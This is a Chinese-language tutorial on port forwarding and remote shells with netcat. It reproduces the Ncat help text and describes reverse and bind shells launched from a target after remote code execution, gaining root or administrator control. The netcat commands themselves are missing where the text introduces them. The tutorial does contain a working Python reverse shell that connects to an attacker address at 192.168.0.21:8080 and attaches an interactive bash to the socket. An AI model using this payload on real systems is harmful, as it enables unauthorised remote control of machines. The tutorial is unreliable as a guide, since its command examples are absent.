端口转发之 nc

nc使用方法：

Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

反向连接

在此示例中，目标使用端口4444反向连接攻击主机。-e选项将Bash shell发回攻击主机。请注意，我们也可以在Windows的cmd.exe上使用-e选项。假设我们已经在目标主机上找到了远程代码执行（RCE）漏洞。我们可以在目标主机上使用-e发出Netcat命令，并使用Netcat发出命令启动反向shell。

先启动攻击端的监听：

 

再在目标端启动反向shell：

 linux

然后可以在攻击端控制目标端的服务器，以root权限；

win7

然后可以在攻击端控制目标端的win7系统，以administrator权限；

python的反向shell：

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#执行子程序
p=subprocess.call(['/bin/bash','-i'])

正向连接

在该图中，目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下：

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。